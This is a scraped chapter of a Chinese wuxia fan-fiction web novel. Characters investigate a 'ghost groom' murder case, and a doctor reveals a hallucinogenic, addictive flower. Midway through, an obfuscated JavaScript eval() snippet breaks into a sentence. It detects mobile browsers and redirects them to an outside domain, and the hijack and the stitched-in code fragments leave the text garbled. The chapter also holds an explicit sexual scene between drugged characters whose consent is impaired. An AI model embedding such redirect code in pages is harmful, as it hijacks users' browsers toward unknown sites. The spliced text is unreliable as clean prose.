又跟那些空罐子里残存的香味不同,更香甜,更馥郁,更……
一只手沉沉搭在肩上,扰乱了她的思绪。
金流回头看去,阿飞重重晃了晃头,继而歪头靠在她另一个肩膀上。
粗重而缓慢的呼吸声落在空气中,火花般绽放又熄灭。
阿飞耷拉着眼皮,视线被那朵红山茶占据。
“怎么了?”金流挠挠他的下巴,偏过头碰碰他的额头。
阿飞呼吸一窒,很快又吐出一口气,哑着嗓子,声音很低。
“不舒服。”
金流没有问他哪里不舒服,因为她也感受到了自己的异样。
越来越浑浊的意识,脚踩云端的飘忽晕眩,流窜在体内的热意与痒意。
她瞄了一眼墙上的头颅和地上的身体,心下了然。
看来是有人在尸体上动了手脚,正好借血腥味做掩饰异味。
不过怎么不弄点见血封喉的毒药,净整这些不正经的东西。
借着幽暗火光,阿飞望着金流,想从她眼中窥到允许的意味。
他脑子有些糊涂,记不清此刻是在何时何地,可偏偏一撞上金流的眼睛,就又清醒的想起许多事情。
这些日子出现了太多变化。
从前或行于深山,或跋涉荒漠,孤寂也好,热闹也罢,总是她与他一起。
可近来,她的注意被太多人分去,就算坐在她身边,也很少能从那双眼中见到自己的身影。
他有些不安,甚而惶恐。
“我可以,做得更好。”
没头没尾的一句话,让金流混乱的脑袋更加糊涂。
“做什么?”金流偏头,推开他在脖颈间摩挲的脑袋。
察觉到一丝拒绝,阿飞沉默的僵住,好半天才吐出几个字。
“我的舌头,很暖和。”
金流瞳孔蓦然放大,她完全没想到会从纯情小剑客嘴里听到这种话。
然而此时此地,此情此景,听起来又格外有诱惑力。
洞口的门只用石头抵出一张大的缝隙,里头的血气萦绕鼻尖,久久不散。
火折子丢在一旁,无人照管,早就只剩星星点点的余火。
眼睛看不见后,体感就愈加分明。
湿软游走搅动,轻抿吞吐,生疏但卖力。
金流长长的吐出一口气,垫在身下的外衣被抓出道道褶皱。
阿飞跟他一样不大会束发,因而总是有一些发丝乱蓬蓬的支棱。发丝扫过的细微痒意让她忍不住发笑,颤动间,感受更加深刻。
手指插进发根,用力攥紧,阿飞顺着力道抬头,胸膛急促起伏震颤。
“呼、呼…”
听着他一声快过一声的呼吸声,金流揉了揉他微凉的耳垂,将人再次按下。
“你在哪里学坏的?”
坏?
阿飞只听懂这一个字,自卑懊恼瞬间喷涌而出。
是他太差劲了,什么都不懂,什么都不会,自然比不上其他人。
乖乖背在身后的双手用力搅握,双膝往前蹭着,直至抵在石块上,再不能动弹才停下。
他会更努力。
别抛下他。
多看看他。
更加激烈的动作,带动更高涨的起伏。
金流垂眼,仍有快意流淌。
黑暗中,忽然远处传来声响。
是脚步声,很轻。
痴迷其中的阿飞完全没察觉,金流却分心数着彼此的距离。
是在洞穴分叉处,停留,判断,选择。
脚步声渐渐清晰,看来是选择了通向此处的道路。
金流附身,下巴搭在阿飞头顶,声音轻的近乎叹息。
“停下。”
阿飞抬眼向上看,动作却没有丝毫停滞。
他听见了她的话,却辩别不了是什么意思。
潮水在他脑中翻涌,一浪一浪,天翻地覆。
他尝到甜意,渴水般更加急切。
抵门的石块发出咯吱一声,一点红动作稍顿,滞在原地。
他听到一些声音,急促压抑,粘稠混浊。
还有……水声?
“金流?”出声的同时,手也用力往里一推。
刹那间,一切静了下来,什么都没有。
阿飞晕了过去。
金流目光有些涣散,慢吞吞的看向一旁被推开的石门。
一丝昏黄的光从门后投射进来,她们所在的石台正好隐匿在门后的阴影中。
一点红眉心堆叠,屏住呼吸。
扑面而来的血腥味浓的过分,其间还夹杂着怪异的甜味。他往前走了两步,突然听到金流微哑的声音。
“熄灭火折子。”
为何?
他心下疑惑,手却不受控制的动作。
火光消失后,他才扭头朝声音发出的地方看去。
两道呼吸,一道沉重杂乱,一道绵长飘忽。
一点红似有所感,面色冷的可怕,他向前走了一步。
“你们在干什么?”
他听见一声轻笑,衣裙磨蹭发出悉悉索索的响声。
揉揉依旧深埋的脑袋,金流抬脚踩着阿飞的肩膀,双手后撑,身子向后倾倒。
看着门口那道模糊身影气势汹汹的靠近,她好心告诫。
“你最好屏住呼吸,我今日的好兴致可全用完了。”
17. 第十七章
陆小凤探查完其他通道出来,手里拎着一堆东西。
红艳艳,沉甸甸。
他刚想说话,就见那把他当贼一样防备的小剑客,背靠大树,躺在春寒料峭的雪地,双眼紧闭,面颊和鼻尖泛着红意,满头满脸粘腻细汗。
“出什么事了?”他好奇道:“难道那贼人真这么厉害,能把我们阿飞都放倒?”
没人回话,他看向金流,金流卷着发尾望天望地,又望向一点红,差点被杀手身上的寒气冻伤。
不是,他这是错过了什么好戏?
最后还是他受不了此刻尴尬的氛围,开始介绍自己此行的收获。
七条通道,他去了四条,每条通道通向的石室里,都有一件红嫁衣。
一点红也甩出两件嫁衣,他去了两间石室,找到了相似的嫁衣。
一共六件,每件嫁衣都代表一个无辜死去的女子。
金流一一翻看着那些血色嫁衣,又低头仔仔细细的嗅闻。
没有那股香味,看来中招的只有她和阿飞。
陆小凤捡了根树枝,有一搭没一搭的点着阿飞的头顶,“你们俩有什么收获?”
金流拍开他骚扰阿飞的手,戳着他的肩膀让他转过身看向山洞边上。
看清尸体的后,陆小凤的四条眉毛一起拱了起来。
“怎么会是他?”
一样的疑惑。
秋武里此人,恶得简单,恶得纯粹。
同为烂人,鬼新郎则与他这种头脑简单四肢发达的蠢货,截然不同。那人行事缜密谨慎,很会审时度势,只要察觉到危险的气息,跑的就比谁都快。
“有人想把鬼新娘一案嫁祸到他身上。”金流抚平裙摆上的褶皱,语气肯定。
陆小凤有点异议,“这样粗劣的手段,是把我们当傻子吗?”
金流稍顿,“不,他是把我们当成和他一样的‘聪明人’了。”
她的语气很是冷淡,嘲讽意味浓厚。
“说是嫁祸未免低端,那人杀了秋武里,应该是为了献祭。献祭一个可以是鬼新郎且作恶多端的秋武里,用他为那六名女子偿命。那人在向我们示好,也是在宣告,鬼新娘一案到此为止。双方各退一步,他不再出手,我们也不要再步步紧逼。”
金流当然不接受这桩赔本买卖,她找鬼新郎本就不像是为了行侠仗义替天行道,她是收了钱在办事,才不讲究什么各退一步。
办不成事,拿不到寒江雪的尾款,可没人赔她的珍珠。
几人在亮处又检查了一遍秋武里的尸体,没查出其他线索,深思熟虑一番后,陆小凤和一点红把尸体再次运回洞穴中。
那人还真会选地方,藏香洞隐蔽阴冷,真是再适合不过的藏尸之处。
做完这一切,阿飞还没醒来。
金流终于察觉到不对。
原以为是药效太猛,稚嫩的小剑客承受不住才昏过去,可这么久过去,眼见他仍旧眉心紧锁,呼吸沉重,脉搏短促,这才急忙将人送到邕情的医馆。
医者忙得脚不沾地,扫了一眼阿飞后,就让几人带着人在后院等她。
医馆后院,架子上的金银花被雪打落深埋,行走踩踏间,间或能嗅到一丝暗香浮动。
三十恢复得还不错,金流推门进去时,她正在屋里单腿蹦着,忙前忙后的给四十七喂饭。
见到有人进来,眼神空茫无处着落的四十七浑身战栗,扬着仅剩的半边唇瓣,痴痴笑着说话。
金流凝神仔细听,还是听不出她断断续续含含糊糊的话语。
“她说的什么啊?”金流不耻下问。
三十偏头在肩上擦擦眼泪,“她说‘我去……带我去……’”
眼泪越流越多,怎么也擦不干净,三十索性放弃,一边喂饭一边责备。
“还去还去!胳膊腿都没了,我看你怎么去!”
她絮絮叨叨的念个不停,眼泪也流个不停,喂好饭弯腰准备放碗,眼前突然出现一片毛茸茸的发顶,在脸上乱七八糟的蹭来蹭去。
四十七艰难挪动脑袋,喉咙里发出的声音轻的几不可闻。
“不哭……不出声……不害怕……”
三十仰起头,使劲眨巴眼睛,猛地起身单腿向金流蹦去。
金流默契转身,向门边走去。
顺手薅起趴在三脚凳上的绿豆搓圆捏扁,被凶巴巴的啃了一口,她才满意的将猫放回原位。
跨出门后,她终于想起自己此行的的目的。
“我有没有告诉你们,秋武里死了。”
艰难蹦哒的三十脚下一歪,被门槛绊倒飞起,金流拉住她的衣领,将人拽了回来。
三十死死抓着她的胳膊大喊:“你说什么!”
金流垮着肩膀,揉揉耳朵,好脾气的贴着她的耳朵跟着喊道:“我说秋武里死了,你们要不要去把他的尸体砍成肉酱,或者也放狗啃啃……”
对于她的建议,三十起先很是心动,思虑再三还是放弃。
金流倒着走,一手扶着她,语气揶揄:“真不去?他可就能死这一次,错过可就没机会咯。”
三十坚定拒绝。
比起被满腔恨意操控,对着一堆血肉徒劳宣泄,她更希望人死如灯灭,所有人死后留下的尸身都是察觉不到痛苦的。
秋武里如此,那些尸身被狗群啃食,被大火炙烤成焦炭的女孩也是如此。
一定是这样。
至少她认为是这样的。
正午时分,邕情终于挤出时间吃午饭,顺便给仍旧晕迷不醒的阿飞诊治。
指尖落在剑客结实的手腕上,透过肌肤感受其下的跃动。
几息过去,医者疲惫憔悴的脸上浮现出疑惑、纠结、惊诧的复杂神色,她垂落的睫毛抖个不停,干裂的唇瓣抿成一条细线。
攥住金流的手腕,她的问题很是直白,“他闻过什么?”
金流老实交代,“一种说不出来的香味,我也闻了,但没他反应这么大。”
“你也闻了?”邕情把金流招过来,给她把完脉后,面色更加凝重。
“不应该,除了这次,他之前是不是还在其他地方,单独闻到过这种香味?”
金流左思右想,一无所获。
抱剑靠窗的一点红却道:“两日前,他在秋府地窖闻到过一种花。”
金流饶有兴致的盯着一点红,“你怎么这么关注阿飞。”
一点红不着痕迹的偏过头,视线游移不定。
二人的互动邕情全然不关注,她神思恍惚的收回手,端起茶杯,杯中的水左摇右晃,四溢在掌心。
星星点点的凉意唤回飘忽的意识,邕情稳住心神,低声喃喃:“是他……一定是他……”
邕情如此剧烈的反应,昭示着她肯定知道些什么。
金流正要发问,邕情先声夺人。
“把你们知道的都告诉我!”说完很快意识到自己语气过于冲动无礼,她咽下一口凉茶,恢复以往温和的态度。“可以把你们知道的事情告诉我吗?或许,我们能交换一下秘密。”
对于邕情的人品,几人并不怎么怀疑。
作为一名医者,得到富人的认可并不太难,她过硬的医术能够保证那些人嘴里说出的都是好话,难的是在满城平民中得到美名。
邕情每日里治病救人,吃饭喝水都要挤出时间,如此忙碌,栖身医馆却仍是偏僻破落,日常生活也简约质朴。
她说:“医者救人,不贪钱财。”
她如此说,亦如此做。
几个眼神交换后,金流把近来调查鬼新娘的事娓娓道来。
邕情听着听着,眼中流露出厚重的痛苦。
双手掩在面上,她痛苦叹息。
“是我的错,是我错了。”
不久后,邕情整理好情绪,为阿飞施针。施针结束,阿飞明显好转。
得到他晚上就能清醒的消息,金流把注
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431039|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意力完全转移到明显藏着满怀心事的医者身上。
她单手托着下巴,目不转睛的看邕情忙来忙去的给人看病抓药行针。
送走最后一位病人,医馆里难得静了下来。
金流摊开手,“请讲吧,你的秘密。”
邕情沉默一阵,倏然放出一道惊雷。
“我知道你们找的鬼新郎是谁。”
陆小凤猛的直起身子,“是谁?”
环抱的双手时而用力,时而放松,邕情再也压抑不住情绪,痛苦的闭上双眼。
“秋全!”
十五岁的邕情背着竹篓,双手叉腰,下巴高昂,满脸怒容。
“我背篓里都是草药,是要拿来治病救人的!你不许再往里头扔乱七八糟的东西!”
巨大的花树摇摇晃晃,紫色花瓣淅淅沥沥下个不停。
从花叶间探出一张少年面孔,神气活现的冲她做了个鬼脸。
邕情气急,捡了石头冲他砸去。
秋全险险躲过,见邕情真的生气了,赶紧从树上跳下来,跟屁虫一样的粘着她不放。
“真生气了?”
他探着脑袋看去,邕情扭过头,他耸耸肩,把手里的花枝往她背篓里一插,大摇大摆的往前走。
邕情反手扯出花枝,正要砸到地上,就听见他说:“你采的野草能是治病救人的草药,说不定我折的花枝也是活死人肉白骨的神药呢。”
少年秋全渐行渐远,只留邕情呆愣着紧握手中的花枝。
是啊,路边的野草,深山的枯枝,河里的石块都能治病救人,瓮城的紫烟花除了制香,说不定也能治病救人。
后来,秋全成婚生子,邕情采药救人,她们依然是无话不说的好友。
他早就忘了当年随口说的话,邕情却十年如一日的研究探索紫烟花的奥秘,越挫越勇,越勇越挫。
十七年前,邕情终于发现了紫烟花除了制香外的另一用途,可惜不是她想的活死人肉白骨,而是能让活人死,肉化骨。
因为紫烟花的特性,往往当年凋落后,就被瓮城人疯抢回家制香,放不到下一年。
有次邕情不小心将一坛紫烟花遗忘在地窖,三年后无意打开,一股甜腻香气吸入口鼻,顿时神思涣散,心悸难耐,沉入幻觉。
她是医者,比常人更快察觉到问题,用随身携带的银针锁穴排毒,才彻底清醒过来。本想将那些花瓣销毁,却发现那些花除了致幻,多次接触后竟然还会产生成瘾性,只好将地窖封住。
之后废了好一番功夫,才将可怕的后遗症彻底从身体里剔除。
此事事关重大,邕情起先并不打算告诉任何人,直到秋全某天意外闯入地窖,打碎了坛子。
单纯的医者没那么多心眼,在治好秋全后,将前因后果尽数告诉了他,请他保守秘密,还再三嘱咐他制香时千万小心。
十几年过去,她将此事咽入腹中,藏于心肝,烂在肚肠。
除了秋全,再无第二个人知晓。
可她从没想这东西有多可怕就有多值钱,更没想过人心易变,少年好友早就变得面目全非。
金流听得昏昏欲睡,既是因为昨夜未得好眠,又觉得实在无趣。
因为这个天知地知你知我知的致幻紫烟花,立马就可以把鬼新郎锁定在两个人中间。
一个尽心竭力治病救人的医者,女人。
一个利欲熏心老奸巨猾的富商,男人。
只要是个人都会选后者。
可事情真这么简单?
邕情讲完后,金流只问了一个问题。
“他图什么?”
人到中年,家财万贯,若是真想发泄□□,大可以跟他两个儿子一样,用钱财买到可怜的女人们,圈养在秋家为所欲为。何必冒如此大的风险,弄出鬼新娘一事。
邕情看向金流,目光又挪向三十,写满倦意的脸显得很是苍老。
“因为他恨女人。”